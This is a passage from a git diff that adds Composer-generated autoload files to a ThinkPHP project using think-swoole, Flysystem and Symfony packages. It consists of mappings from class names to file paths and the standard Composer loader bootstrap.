'/topthink/framework/src/think/response/Jsonp.php', + 'think\\response\\Redirect' => $vendorDir . '/topthink/framework/src/think/response/Redirect.php', + 'think\\response\\View' => $vendorDir . '/topthink/framework/src/think/response/View.php', + 'think\\response\\Xml' => $vendorDir . '/topthink/framework/src/think/response/Xml.php', + 'think\\route\\Dispatch' => $vendorDir . '/topthink/framework/src/think/route/Dispatch.php', + 'think\\route\\Domain' => $vendorDir . '/topthink/framework/src/think/route/Domain.php', + 'think\\route\\Resource' => $vendorDir . '/topthink/framework/src/think/route/Resource.php', + 'think\\route\\Rule' => $vendorDir . '/topthink/framework/src/think/route/Rule.php', + 'think\\route\\RuleGroup' => $vendorDir . '/topthink/framework/src/think/route/RuleGroup.php', + 'think\\route\\RuleItem' => $vendorDir . '/topthink/framework/src/think/route/RuleItem.php', + 'think\\route\\RuleName' => $vendorDir . '/topthink/framework/src/think/route/RuleName.php', + 'think\\route\\Url' => $vendorDir . '/topthink/framework/src/think/route/Url.php', + 'think\\route\\dispatch\\Callback' => $vendorDir . '/topthink/framework/src/think/route/dispatch/Callback.php', + 'think\\route\\dispatch\\Controller' => $vendorDir . '/topthink/framework/src/think/route/dispatch/Controller.php', + 'think\\route\\dispatch\\Url' => $vendorDir . '/topthink/framework/src/think/route/dispatch/Url.php', + 'think\\service\\ModelService' => $vendorDir . '/topthink/framework/src/think/service/ModelService.php', + 'think\\service\\PaginatorService' => $vendorDir . '/topthink/framework/src/think/service/PaginatorService.php', + 'think\\service\\ValidateService' => $vendorDir . '/topthink/framework/src/think/service/ValidateService.php', + 'think\\session\\Store' => $vendorDir . '/topthink/framework/src/think/session/Store.php', + 'think\\session\\driver\\Cache' => $vendorDir . '/topthink/framework/src/think/session/driver/Cache.php', + 'think\\session\\driver\\File' => $vendorDir . '/topthink/framework/src/think/session/driver/File.php', + 'think\\swoole\\App' => $vendorDir . '/topthink/think-swoole/src/App.php', + 'think\\swoole\\FileWatcher' => $vendorDir . '/topthink/think-swoole/src/FileWatcher.php', + 'think\\swoole\\Http' => $vendorDir . '/topthink/think-swoole/src/Http.php', + 'think\\swoole\\Manager' => $vendorDir . '/topthink/think-swoole/src/Manager.php', + 'think\\swoole\\PidManager' => $vendorDir . '/topthink/think-swoole/src/PidManager.php', + 'think\\swoole\\Pool' => $vendorDir . '/topthink/think-swoole/src/Pool.php', + 'think\\swoole\\RpcManager' => $vendorDir . '/topthink/think-swoole/src/RpcManager.php', + 'think\\swoole\\Sandbox' => $vendorDir . '/topthink/think-swoole/src/Sandbox.php', + 'think\\swoole\\Service' => $vendorDir . '/topthink/think-swoole/src/Service.php', + 'think\\swoole\\Table' => $vendorDir . '/topthink/think-swoole/src/Table.php', + 'think\\swoole\\Websocket' => $vendorDir . '/topthink/think-swoole/src/Websocket.php', + 'think\\swoole\\command\\Rpc' => $vendorDir . '/topthink/think-swoole/src/command/Rpc.php', + 'think\\swoole\\command\\RpcInterface' => $vendorDir . '/topthink/think-swoole/src/command/RpcInterface.php', + 'think\\swoole\\command\\Server' => $vendorDir . '/topthink/think-swoole/src/command/Server.php', + 'think\\swoole\\concerns\\InteractsWithHttp' => $vendorDir . '/topthink/think-swoole/src/concerns/InteractsWithHttp.php', + 'think\\swoole\\concerns\\InteractsWithPools' => $vendorDir . '/topthink/think-swoole/src/concerns/InteractsWithPools.php', + 'think\\swoole\\concerns\\InteractsWithRpcClient' => $vendorDir . '/topthink/think-swoole/src/concerns/InteractsWithRpcClient.php', + 'think\\swoole\\concerns\\InteractsWithRpcServer' => $vendorDir . '/topthink/think-swoole/src/concerns/InteractsWithRpcServer.php', + 'think\\swoole\\concerns\\InteractsWithServer' => $vendorDir . '/topthink/think-swoole/src/concerns/InteractsWithServer.php', + 'think\\swoole\\concerns\\InteractsWithSwooleTable' => $vendorDir . '/topthink/think-swoole/src/concerns/InteractsWithSwooleTable.php', + 'think\\swoole\\concerns\\InteractsWithWebsocket' => $vendorDir . '/topthink/think-swoole/src/concerns/InteractsWithWebsocket.php', + 'think\\swoole\\concerns\\ModifyProperty' => $vendorDir . '/topthink/think-swoole/src/concerns/ModifyProperty.php', + 'think\\swoole\\concerns\\WithApplication' => $vendorDir . '/topthink/think-swoole/src/concerns/WithApplication.php', + 'think\\swoole\\contract\\ResetterInterface' => $vendorDir . '/topthink/think-swoole/src/contract/ResetterInterface.php', + 'think\\swoole\\contract\\rpc\\ParserInterface' => $vendorDir . '/topthink/think-swoole/src/contract/rpc/ParserInterface.php', + 'think\\swoole\\contract\\websocket\\HandlerInterface' => $vendorDir . '/topthink/think-swoole/src/contract/websocket/HandlerInterface.php', + 'think\\swoole\\contract\\websocket\\ParserInterface' => $vendorDir . '/topthink/think-swoole/src/contract/websocket/ParserInterface.php', + 'think\\swoole\\contract\\websocket\\RoomInterface' => $vendorDir . '/topthink/think-swoole/src/contract/websocket/RoomInterface.php', + 'think\\swoole\\coroutine\\Context' => $vendorDir . '/topthink/think-swoole/src/coroutine/Context.php', + 'think\\swoole\\exception\\RpcClientException' => $vendorDir . '/topthink/think-swoole/src/exception/RpcClientException.php', + 'think\\swoole\\exception\\RpcResponseException' => $vendorDir . '/topthink/think-swoole/src/exception/RpcResponseException.php', + 'think\\swoole\\facade\\Server' => $vendorDir . '/topthink/think-swoole/src/facade/Server.php', + 'think\\swoole\\middleware\\ResetVarDumper' => $vendorDir . '/topthink/think-swoole/src/middleware/ResetVarDumper.php', + 'think\\swoole\\pool\\Cache' => $vendorDir . '/topthink/think-swoole/src/pool/Cache.php', + 'think\\swoole\\pool\\Client' => $vendorDir . '/topthink/think-swoole/src/pool/Client.php', + 'think\\swoole\\pool\\Db' => $vendorDir . '/topthink/think-swoole/src/pool/Db.php', + 'think\\swoole\\pool\\Proxy' => $vendorDir . '/topthink/think-swoole/src/pool/Proxy.php', + 'think\\swoole\\pool\\proxy\\Connection' => $vendorDir . '/topthink/think-swoole/src/pool/proxy/Connection.php', + 'think\\swoole\\pool\\proxy\\Store' => $vendorDir . '/topthink/think-swoole/src/pool/proxy/Store.php', + 'think\\swoole\\resetters\\ClearInstances' => $vendorDir . '/topthink/think-swoole/src/resetters/ClearInstances.php', + 'think\\swoole\\resetters\\ResetConfig' => $vendorDir . '/topthink/think-swoole/src/resetters/ResetConfig.php', + 'think\\swoole\\resetters\\ResetEvent' => $vendorDir . '/topthink/think-swoole/src/resetters/ResetEvent.php', + 'think\\swoole\\resetters\\ResetService' => $vendorDir . '/topthink/think-swoole/src/resetters/ResetService.php', + 'think\\swoole\\rpc\\Error' => $vendorDir . '/topthink/think-swoole/src/rpc/Error.php', + 'think\\swoole\\rpc\\File' => $vendorDir . '/topthink/think-swoole/src/rpc/File.php', + 'think\\swoole\\rpc\\JsonParser' => $vendorDir . '/topthink/think-swoole/src/rpc/JsonParser.php', + 'think\\swoole\\rpc\\Packer' => $vendorDir . '/topthink/think-swoole/src/rpc/Packer.php', + 'think\\swoole\\rpc\\Protocol' => $vendorDir . '/topthink/think-swoole/src/rpc/Protocol.php', + 'think\\swoole\\rpc\\client\\Connector' => $vendorDir . '/topthink/think-swoole/src/rpc/client/Connector.php', + 'think\\swoole\\rpc\\client\\Gateway' => $vendorDir . '/topthink/think-swoole/src/rpc/client/Gateway.php', + 'think\\swoole\\rpc\\client\\Proxy' => $vendorDir . '/topthink/think-swoole/src/rpc/client/Proxy.php', + 'think\\swoole\\rpc\\server\\Channel' => $vendorDir . '/topthink/think-swoole/src/rpc/server/Channel.php', + 'think\\swoole\\rpc\\server\\Dispatcher' => $vendorDir . '/topthink/think-swoole/src/rpc/server/Dispatcher.php', + 'think\\swoole\\rpc\\server\\channel\\Buffer' => $vendorDir . '/topthink/think-swoole/src/rpc/server/channel/Buffer.php', + 'think\\swoole\\rpc\\server\\channel\\File' => $vendorDir . '/topthink/think-swoole/src/rpc/server/channel/File.php', + 'think\\swoole\\websocket\\Pusher' => $vendorDir . '/topthink/think-swoole/src/websocket/Pusher.php', + 'think\\swoole\\websocket\\Room' => $vendorDir . '/topthink/think-swoole/src/websocket/Room.php', + 'think\\swoole\\websocket\\SimpleParser' => $vendorDir . '/topthink/think-swoole/src/websocket/SimpleParser.php', + 'think\\swoole\\websocket\\middleware\\SessionInit' => $vendorDir . '/topthink/think-swoole/src/websocket/middleware/SessionInit.php', + 'think\\swoole\\websocket\\room\\Redis' => $vendorDir . '/topthink/think-swoole/src/websocket/room/Redis.php', + 'think\\swoole\\websocket\\room\\Table' => $vendorDir . '/topthink/think-swoole/src/websocket/room/Table.php', + 'think\\swoole\\websocket\\socketio\\Controller' => $vendorDir . '/topthink/think-swoole/src/websocket/socketio/Controller.php', + 'think\\swoole\\websocket\\socketio\\Handler' => $vendorDir . '/topthink/think-swoole/src/websocket/socketio/Handler.php', + 'think\\swoole\\websocket\\socketio\\Packet' => $vendorDir . '/topthink/think-swoole/src/websocket/socketio/Packet.php', + 'think\\swoole\\websocket\\socketio\\Parser' => $vendorDir . '/topthink/think-swoole/src/websocket/socketio/Parser.php', + 'think\\template\\TagLib' => $vendorDir . '/topthink/think-template/src/template/TagLib.php', + 'think\\template\\driver\\File' => $vendorDir . '/topthink/think-template/src/template/driver/File.php', + 'think\\template\\exception\\TemplateNotFoundException' => $vendorDir . '/topthink/think-template/src/template/exception/TemplateNotFoundException.php', + 'think\\template\\taglib\\Cx' => $vendorDir . '/topthink/think-template/src/template/taglib/Cx.php', + 'think\\trace\\Console' => $vendorDir . '/topthink/think-trace/src/Console.php', + 'think\\trace\\Html' => $vendorDir . '/topthink/think-trace/src/Html.php', + 'think\\trace\\Service' => $vendorDir . '/topthink/think-trace/src/Service.php', + 'think\\trace\\TraceDebug' => $vendorDir . '/topthink/think-trace/src/TraceDebug.php', + 'think\\validate\\ValidateRule' => $vendorDir . '/topthink/framework/src/think/validate/ValidateRule.php', + 'think\\view\\driver\\Php' => $vendorDir . '/topthink/framework/src/think/view/driver/Php.php', + 'think\\view\\driver\\Think' => $vendorDir . '/topthink/think-view/src/Think.php', +); diff --git a/vendor/composer/autoload_files.php b/vendor/composer/autoload_files.php new file mode 100644 index 0000000..c9797ec --- /dev/null +++ b/vendor/composer/autoload_files.php @@ -0,0 +1,16 @@ + $vendorDir . '/topthink/think-helper/src/helper.php', + '0e6d7bf4a5811bfa5cf40c5ccd6fae6a' => $vendorDir . '/symfony/polyfill-mbstring/bootstrap.php', + '25072dd6e2470089de65ae7bf11d3109' => $vendorDir . '/symfony/polyfill-php72/bootstrap.php', + 'a4a119a56e50fbb293281d9a48007e0e' => $vendorDir . '/symfony/polyfill-php80/bootstrap.php', + '667aeda72477189d0494fecd327c3641' => $vendorDir . '/symfony/var-dumper/Resources/functions/dump.php', + '1cfd2761b63b0a29ed23657ea394cb2d' => $vendorDir . '/topthink/think-captcha/src/helper.php', + 'af46dcea2921209ac30627b964175f13' => $vendorDir . '/topthink/think-swoole/src/helpers.php', +); diff --git a/vendor/composer/autoload_namespaces.php b/vendor/composer/autoload_namespaces.php new file mode 100644 index 0000000..7cb803d --- /dev/null +++ b/vendor/composer/autoload_namespaces.php @@ -0,0 +1,10 @@ + array($baseDir . '/extend'), +); diff --git a/vendor/composer/autoload_psr4.php b/vendor/composer/autoload_psr4.php new file mode 100644 index 0000000..b7ca98e --- /dev/null +++ b/vendor/composer/autoload_psr4.php @@ -0,0 +1,30 @@ + array($vendorDir . '/topthink/think-view/src'), + 'think\\trace\\' => array($vendorDir . '/topthink/think-trace/src'), + 'think\\swoole\\' => array($vendorDir . '/topthink/think-swoole/src'), + 'think\\captcha\\' => array($vendorDir . '/topthink/think-captcha/src'), + 'think\\app\\' => array($vendorDir . '/topthink/think-multi-app/src'), + 'think\\' => array($vendorDir . '/topthink/framework/src/think', $vendorDir . '/topthink/think-helper/src', $vendorDir . '/topthink/think-orm/src', $vendorDir . '/topthink/think-template/src'), + 'freedom\\' => array($baseDir . '/freedom'), + 'app\\' => array($baseDir . '/app'), + 'Symfony\\Polyfill\\Php80\\' => array($vendorDir . '/symfony/polyfill-php80'), + 'Symfony\\Polyfill\\Php72\\' => array($vendorDir . '/symfony/polyfill-php72'), + 'Symfony\\Polyfill\\Mbstring\\' => array($vendorDir . '/symfony/polyfill-mbstring'), + 'Symfony\\Component\\VarDumper\\' => array($vendorDir . '/symfony/var-dumper'), + 'Symfony\\Component\\Finder\\' => array($vendorDir . '/symfony/finder'), + 'Smf\\ConnectionPool\\' => array($vendorDir . '/open-smf/connection-pool/src'), + 'Psr\\SimpleCache\\' => array($vendorDir . '/psr/simple-cache/src'), + 'Psr\\Log\\' => array($vendorDir . '/psr/log/Psr/Log'), + 'Psr\\Container\\' => array($vendorDir . '/psr/container/src'), + 'Psr\\Cache\\' => array($vendorDir . '/psr/cache/src'), + 'League\\MimeTypeDetection\\' => array($vendorDir . '/league/mime-type-detection/src'), + 'League\\Flysystem\\Cached\\' => array($vendorDir . '/league/flysystem-cached-adapter/src'), + 'League\\Flysystem\\' => array($vendorDir . '/league/flysystem/src'), +); diff --git a/vendor/composer/autoload_real.php b/vendor/composer/autoload_real.php new file mode 100644 index 0000000..ac881aa --- /dev/null +++ b/vendor/composer/autoload_real.php @@ -0,0 +1,75 @@ += 50600 && !defined('HHVM_VERSION') && (!function_exists('zend_loader_file_encoded') || !zend_loader_file_encoded()); + if ($useStaticLoader) { + require __DIR__ . '/autoload_static.php'; + + call_user_func(\Composer\Autoload\ComposerStaticInit9947e2ce7d1a6501413c1b0d7d3973cf::getInitializer($loader)); + } else { + $map = require __DIR__ . '/autoload_namespaces.php'; + foreach ($map as $namespace => $path) { + $loader->set($namespace, $path); + } + + $map = require __DIR__ . '/autoload_psr4.php'; + foreach ($map as $namespace => $path) { + $loader->setPsr4($namespace, $path); + } + + $classMap = require __DIR__ . '/autoload_classmap.php'; + if ($classMap) { + $loader->addClassMap($classMap); + } + } + + $loader->register(true); + + if ($useStaticLoader) { + $includeFiles = Composer\Autoload\ComposerStaticInit9947e2ce7d1a6501413c1b0d7d3973cf::$files; + } else { + $includeFiles = require __DIR__ . '/autoload_files.php'; + } + foreach ($includeFiles as $fileIdentifier => $file) { + composerRequire9947e2ce7d1a6501413c1b0d7d3973cf($fileIdentifier, $file); + } + + return $loader; + } +} + +function composerRequire9947e2ce7d1a6501413c1b0d7d3973cf($fileIdentifier, $file) +{ + if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) { + require $file; + + $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true; + } +} diff --git a/vendor/composer/autoload_static.php b/vendor/composer/autoload_static.php new file mode 100644 index 0000000..ef5993c --- /dev/null +++ b/vendor/composer/autoload_static.php @@ -0,0 +1,801 @@ + __DIR__ . '/..' . '/topthink/think-helper/src/helper.php', + '0e6d7bf4a5811bfa5cf40c5ccd6fae6a' => __DIR__ . '/..' . '/symfony/polyfill-mbstring/bootstrap.php', + '25072dd6e2470089de65ae7bf11d3109' => __DIR__ . '/..' . '/symfony/polyfill-php72/bootstrap.php', + 'a4a119a56e50fbb293281d9a48007e0e' => __DIR__ . '/..' . '/symfony/polyfill-php80/bootstrap.php', + '667aeda72477189d0494fecd327c3641' => __DIR__ . '/..' . '/symfony/var-dumper/Resources/functions/dump.php', + '1cfd2761b63b0a29ed23657ea394cb2d' => __DIR__ . '/..' . '/topthink/think-captcha/src/helper.php', + 'af46dcea2921209ac30627b964175f13' => __DIR__ . '/..' . '/topthink/think-swoole/src/helpers.php', + ); + + public static $prefixLengthsPsr4 = array ( + 't' => + array ( + 'think\\view\\driver\\' => 18, + 'think\\trace\\' => 12, + 'think\\swoole\\' => 13, + 'think\\captcha\\' => 14, + 'think\\app\\' => 10, + 'think\\' => 6, + ), + 'f' => + array ( + 'freedom\\' => 8, + ), + 'a' => + array ( + 'app\\' => 4, + ), + 'S' => + array ( + 'Symfony\\Polyfill\\Php80\\' => 23, + 'Symfony\\Polyfill\\Php72\\' => 23, + 'Symfony\\Polyfill\\Mbstring\\' => 26, + 'Symfony\\Component\\VarDumper\\' => 28, + 'Symfony\\Component\\Finder\\' => 25, + 'Smf\\ConnectionPool\\' => 19, + ), + 'P' => + array ( + 'Psr\\SimpleCache\\' => 16, + 'Psr\\Log\\' => 8, + 'Psr\\Container\\' => 14, + 'Psr\\Cache\\' => 10, + ), + 'L' => + array ( + 'League\\MimeTypeDetection\\' => 25, + 'League\\Flysystem\\Cached\\' => 24, + 'League\\Flysystem\\' => 17, + ), + ); + + public static $prefixDirsPsr4 = array ( + 'think\\view\\driver\\' => + array ( + 0 => __DIR__ . '/..' . '/topthink/think-view/src', + ), + 'think\\trace\\' => + array ( + 0 => __DIR__ . '/..' . '/topthink/think-trace/src', + ), + 'think\\swoole\\' => + array ( + 0 => __DIR__ . '/..' . '/topthink/think-swoole/src', + ), + 'think\\captcha\\' => + array ( + 0 => __DIR__ . '/..' . '/topthink/think-captcha/src', + ), + 'think\\app\\' => + array ( + 0 => __DIR__ . '/..' . '/topthink/think-multi-app/src', + ), + 'think\\' => + array ( + 0 => __DIR__ . '/..' . '/topthink/framework/src/think', + 1 => __DIR__ . '/..' . '/topthink/think-helper/src', + 2 => __DIR__ . '/..' . '/topthink/think-orm/src', + 3 => __DIR__ . '/..' . '/topthink/think-template/src', + ), + 'freedom\\' => + array ( + 0 => __DIR__ . '/../..' . '/freedom', + ), + 'app\\' => + array ( + 0 => __DIR__ . '/../..' . '/app', + ), + 'Symfony\\Polyfill\\Php80\\' => + array ( + 0 => __DIR__ . '/..' . '/symfony/polyfill-php80', + ), + 'Symfony\\Polyfill\\Php72\\' => + array ( + 0 => __DIR__ . '/..' . '/symfony/polyfill-php72', + ), + 'Symfony\\Polyfill\\Mbstring\\' => + array ( + 0 => __DIR__ . '/..' . '/symfony/polyfill-mbstring', + ), + 'Symfony\\Component\\VarDumper\\' => + array ( + 0 => __DIR__ . '/..' . '/symfony/var-dumper', + ), + 'Symfony\\Component\\Finder\\' => + array ( + 0 => __DIR__ . '/..' . '/symfony/finder', + ), + 'Smf\\ConnectionPool\\' => + array ( + 0 => __DIR__ . '/..' . '/open-smf/connection-pool/src', + ), + 'Psr\\SimpleCache\\' => + array ( + 0 => __DIR__ . '/..' . '/psr/simple-cache/src', + ), + 'Psr\\Log\\' => + array ( + 0 => __DIR__ . '/..' . '/psr/log/Psr/Log', + ), + 'Psr\\Container\\' => + array ( + 0 => __DIR__ . '/..' . '/psr/container/src', + ), + 'Psr\\Cache\\' => + array ( + 0 => __DIR__ . '/..' . '/psr/cache/src', + ), + 'League\\MimeTypeDetection\\' => + array ( + 0 => __DIR__ . '/..' . '/league/mime-type-detection/src', + ), + 'League\\Flysystem\\Cached\\' => + array ( + 0 => __DIR__ . '/..' . '/league/flysystem-cached-adapter/src', + ), + 'League\\Flysystem\\' => + array ( + 0 => __DIR__ . '/..' . '/league/flysystem/src', + ), + ); + + public static $fallbackDirsPsr0 = array ( + 0 => __DIR__ . '/../..' . '/extend', + ); + + public static $classMap = array ( + 'Attribute' => __DIR__ . '/..' . '/symfony/polyfill-php80/Resources/stubs/Attribute.php', + 'Composer\\InstalledVersions' => __DIR__ . '/..' . '/composer/InstalledVersions.php', + 'League\\Flysystem\\AdapterInterface' => __DIR__ . '/..' . '/league/flysystem/src/AdapterInterface.php', + 'League\\Flysystem\\Adapter\\AbstractAdapter' => __DIR__ . '/..' . '/league/flysystem/src/Adapter/AbstractAdapter.php', + 'League\\Flysystem\\Adapter\\AbstractFtpAdapter' => __DIR__ . '/..' . '/league/flysystem/src/Adapter/AbstractFtpAdapter.php', + 'League\\Flysystem\\Adapter\\CanOverwriteFiles' => __DIR__ . '/..' . '/league/flysystem/src/Adapter/CanOverwriteFiles.php', + 'League\\Flysystem\\Adapter\\Ftp' => __DIR__ . '/..' . '/league/flysystem/src/Adapter/Ftp.php', + 'League\\Flysystem\\Adapter\\Ftpd' => __DIR__ . '/..' . '/league/flysystem/src/Adapter/Ftpd.php', + 'League\\Flysystem\\Adapter\\Local' => __DIR__ . '/..' . '/league/flysystem/src/Adapter/Local.php', + 'League\\Flysystem\\Adapter\\NullAdapter' => __DIR__ . '/..' . '/league/flysystem/src/Adapter/NullAdapter.php', + 'League\\Flysystem\\Adapter\\Polyfill\\NotSupportingVisibilityTrait' => __DIR__ . '/..' . '/league/flysystem/src/Adapter/Polyfill/NotSupportingVisibilityTrait.php', + 'League\\Flysystem\\Adapter\\Polyfill\\StreamedCopyTrait' => __DIR__ . '/..' . '/league/flysystem/src/Adapter/Polyfill/StreamedCopyTrait.php', + 'League\\Flysystem\\Adapter\\Polyfill\\StreamedReadingTrait' => __DIR__ . '/..' . '/league/flysystem/src/Adapter/Polyfill/StreamedReadingTrait.php', + 'League\\Flysystem\\Adapter\\Polyfill\\StreamedTrait' => __DIR__ . '/..' . '/league/flysystem/src/Adapter/Polyfill/StreamedTrait.php', + 'League\\Flysystem\\Adapter\\Polyfill\\StreamedWritingTrait' => __DIR__ . '/..' . '/league/flysystem/src/Adapter/Polyfill/StreamedWritingTrait.php', + 'League\\Flysystem\\Adapter\\SynologyFtp' => __DIR__ . '/..' . '/league/flysystem/src/Adapter/SynologyFtp.php', + 'League\\Flysystem\\Cached\\CacheInterface' => __DIR__ . '/..' . '/league/flysystem-cached-adapter/src/CacheInterface.php', + 'League\\Flysystem\\Cached\\CachedAdapter' => __DIR__ . '/..' . '/league/flysystem-cached-adapter/src/CachedAdapter.php', + 'League\\Flysystem\\Cached\\Storage\\AbstractCache' => __DIR__ . '/..' . '/league/flysystem-cached-adapter/src/Storage/AbstractCache.php', + 'League\\Flysystem\\Cached\\Storage\\Adapter' => __DIR__ . '/..' . '/league/flysystem-cached-adapter/src/Storage/Adapter.php', + 'League\\Flysystem\\Cached\\Storage\\Memcached' => __DIR__ . '/..' . '/league/flysystem-cached-adapter/src/Storage/Memcached.php', + 'League\\Flysystem\\Cached\\Storage\\Memory' => __DIR__ . '/..' . '/league/flysystem-cached-adapter/src/Storage/Memory.php', + 'League\\Flysystem\\Cached\\Storage\\Noop' => __DIR__ . '/..' . '/league/flysystem-cached-adapter/src/Storage/Noop.php', + 'League\\Flysystem\\Cached\\Storage\\PhpRedis' => __DIR__ . '/..' . '/league/flysystem-cached-adapter/src/Storage/PhpRedis.php', + 'League\\Flysystem\\Cached\\Storage\\Predis' => __DIR__ . '/..' . '/league/flysystem-cached-adapter/src/Storage/Predis.php', + 'League\\Flysystem\\Cached\\Storage\\Psr6Cache' => __DIR__ . '/..' . '/league/flysystem-cached-adapter/src/Storage/Psr6Cache.php', + 'League\\Flysystem\\Cached\\Storage\\Stash' => __DIR__ . '/..' . '/league/flysystem-cached-adapter/src/Storage/Stash.php', + 'League\\Flysystem\\Config' => __DIR__ . '/..' . '/league/flysystem/src/Config.php', + 'League\\Flysystem\\ConfigAwareTrait' => __DIR__ . '/..' . '/league/flysystem/src/ConfigAwareTrait.php', + 'League\\Flysystem\\ConnectionErrorException' => __DIR__ . '/..' . '/league/flysystem/src/ConnectionErrorException.php', + 'League\\Flysystem\\ConnectionRuntimeException' => __DIR__ . '/..' . '/league/flysystem/src/ConnectionRuntimeException.php', + 'League\\Flysystem\\Directory' => __DIR__ . '/..' . '/league/flysystem/src/Directory.php', + 'League\\Flysystem\\Exception' => __DIR__ . '/..' . '/league/flysystem/src/Exception.php', + 'League\\Flysystem\\File' => __DIR__ . '/..' . '/league/flysystem/src/File.php', + 'League\\Flysystem\\FileExistsException' => __DIR__ . '/..' . '/league/flysystem/src/FileExistsException.php', + 'League\\Flysystem\\FileNotFoundException' => __DIR__ . '/..' . '/league/flysystem/src/FileNotFoundException.php', + 'League\\Flysystem\\Filesystem' => __DIR__ . '/..' . '/league/flysystem/src/Filesystem.php', + 'League\\Flysystem\\FilesystemException' => __DIR__ . '/..' . '/league/flysystem/src/FilesystemException.php', + 'League\\Flysystem\\FilesystemInterface' => __DIR__ . '/..' . '/league/flysystem/src/FilesystemInterface.php', + 'League\\Flysystem\\FilesystemNotFoundException' => __DIR__ . '/..' . '/league/flysystem/src/FilesystemNotFoundException.php', + 'League\\Flysystem\\Handler' => __DIR__ . '/..' . '/league/flysystem/src/Handler.php', + 'League\\Flysystem\\InvalidRootException' => __DIR__ . '/..' . '/league/flysystem/src/InvalidRootException.php', + 'League\\Flysystem\\MountManager' => __DIR__ . '/..' . '/league/flysystem/src/MountManager.php', + 'League\\Flysystem\\NotSupportedException' => __DIR__ . '/..' . '/league/flysystem/src/NotSupportedException.php', + 'League\\Flysystem\\PluginInterface' => __DIR__ . '/..' . '/league/flysystem/src/PluginInterface.php', + 'League\\Flysystem\\Plugin\\AbstractPlugin' => __DIR__ . '/..' . '/league/flysystem/src/Plugin/AbstractPlugin.php', + 'League\\Flysystem\\Plugin\\EmptyDir' => __DIR__ . '/..' . '/league/flysystem/src/Plugin/EmptyDir.php', + 'League\\Flysystem\\Plugin\\ForcedCopy' => __DIR__ . '/..' . '/league/flysystem/src/Plugin/ForcedCopy.php', + 'League\\Flysystem\\Plugin\\ForcedRename' => __DIR__ . '/..' . '/league/flysystem/src/Plugin/ForcedRename.php', + 'League\\Flysystem\\Plugin\\GetWithMetadata' => __DIR__ . '/..' . '/league/flysystem/src/Plugin/GetWithMetadata.php', + 'League\\Flysystem\\Plugin\\ListFiles' => __DIR__ . '/..' . '/league/flysystem/src/Plugin/ListFiles.php', + 'League\\Flysystem\\Plugin\\ListPaths' => __DIR__ . '/..' . '/league/flysystem/src/Plugin/ListPaths.php', + 'League\\Flysystem\\Plugin\\ListWith' => __DIR__ . '/..' . '/league/flysystem/src/Plugin/ListWith.php', + 'League\\Flysystem\\Plugin\\PluggableTrait' => __DIR__ . '/..' . '/league/flysystem/src/Plugin/PluggableTrait.php', + 'League\\Flysystem\\Plugin\\PluginNotFoundException' => __DIR__ . '/..' . '/league/flysystem/src/Plugin/PluginNotFoundException.php', + 'League\\Flysystem\\ReadInterface' => __DIR__ . '/..' . '/league/flysystem/src/ReadInterface.php', + 'League\\Flysystem\\RootViolationException' => __DIR__ . '/..' . '/league/flysystem/src/RootViolationException.php', + 'League\\Flysystem\\SafeStorage' => __DIR__ . '/..' . '/league/flysystem/src/SafeStorage.php', + 'League\\Flysystem\\UnreadableFileException' => __DIR__ . '/..' . '/league/flysystem/src/UnreadableFileException.php', + 'League\\Flysystem\\Util' => __DIR__ . '/..' . '/league/flysystem/src/Util.php', + 'League\\Flysystem\\Util\\ContentListingFormatter' => __DIR__ . '/..' . '/league/flysystem/src/Util/ContentListingFormatter.php', + 'League\\Flysystem\\Util\\MimeType' => __DIR__ . '/..' . '/league/flysystem/src/Util/MimeType.php', + 'League\\Flysystem\\Util\\StreamHasher' => __DIR__ . '/..' . '/league/flysystem/src/Util/StreamHasher.php', + 'League\\MimeTypeDetection\\EmptyExtensionToMimeTypeMap' => __DIR__ . '/..' . '/league/mime-type-detection/src/EmptyExtensionToMimeTypeMap.php', + 'League\\MimeTypeDetection\\ExtensionMimeTypeDetector' => __DIR__ . '/..' . '/league/mime-type-detection/src/ExtensionMimeTypeDetector.php', + 'League\\MimeTypeDetection\\ExtensionToMimeTypeMap' => __DIR__ . '/..' . '/league/mime-type-detection/src/ExtensionToMimeTypeMap.php', + 'League\\MimeTypeDetection\\FinfoMimeTypeDetector' => __DIR__ . '/..' . '/league/mime-type-detection/src/FinfoMimeTypeDetector.php', + 'League\\MimeTypeDetection\\GeneratedExtensionToMimeTypeMap' => __DIR__ . '/..' . '/league/mime-type-detection/src/GeneratedExtensionToMimeTypeMap.php', + 'League\\MimeTypeDetection\\MimeTypeDetector' => __DIR__ . '/..' . '/league/mime-type-detection/src/MimeTypeDetector.php', + 'Nette\\ArgumentOutOfRangeException' => __DIR__ . '/..' . '/nette/utils/src/Utils/exceptions.php', + 'Nette\\DeprecatedException' => __DIR__ . '/..' . '/nette/utils/src/Utils/exceptions.php', + 'Nette\\DirectoryNotFoundException' => __DIR__ . '/..' . '/nette/utils/src/Utils/exceptions.php', + 'Nette\\FileNotFoundException' => __DIR__ . '/..' . '/nette/utils/src/Utils/exceptions.php', + 'Nette\\IOException' => __DIR__ . '/..' . '/nette/utils/src/Utils/exceptions.php', + 'Nette\\InvalidArgumentException' => __DIR__ . '/..' . '/nette/utils/src/Utils/exceptions.php', + 'Nette\\InvalidStateException' => __DIR__ . '/..' . '/nette/utils/src/Utils/exceptions.php', + 'Nette\\Iterators\\CachingIterator' => __DIR__ . '/..' . '/nette/utils/src/Iterators/CachingIterator.php', + 'Nette\\Iterators\\Mapper' => __DIR__ . '/..' . '/nette/utils/src/Iterators/Mapper.php', + 'Nette\\Localization\\ITranslator' => __DIR__ . '/..' . '/nette/utils/src/Utils/ITranslator.php', + 'Nette\\MemberAccessException' => __DIR__ . '/..' . '/nette/utils/src/Utils/exceptions.php', + 'Nette\\NotImplementedException' => __DIR__ . '/..' . '/nette/utils/src/Utils/exceptions.php', + 'Nette\\NotSupportedException' => __DIR__ . '/..' . '/nette/utils/src/Utils/exceptions.php', + 'Nette\\OutOfRangeException' => __DIR__ . '/..' . '/nette/utils/src/Utils/exceptions.php', + 'Nette\\PhpGenerator\\ClassType' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/ClassType.php', + 'Nette\\PhpGenerator\\Closure' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/Closure.php', + 'Nette\\PhpGenerator\\Constant' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/Constant.php', + 'Nette\\PhpGenerator\\Dumper' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/Dumper.php', + 'Nette\\PhpGenerator\\Factory' => __DIR__ . '/..' . '/nette/php-generator/src/PhpGenerator/Factory.php', + 'Nette\\PhpGenerator\\GlobalFunction' => __DIR__ . '/..' . 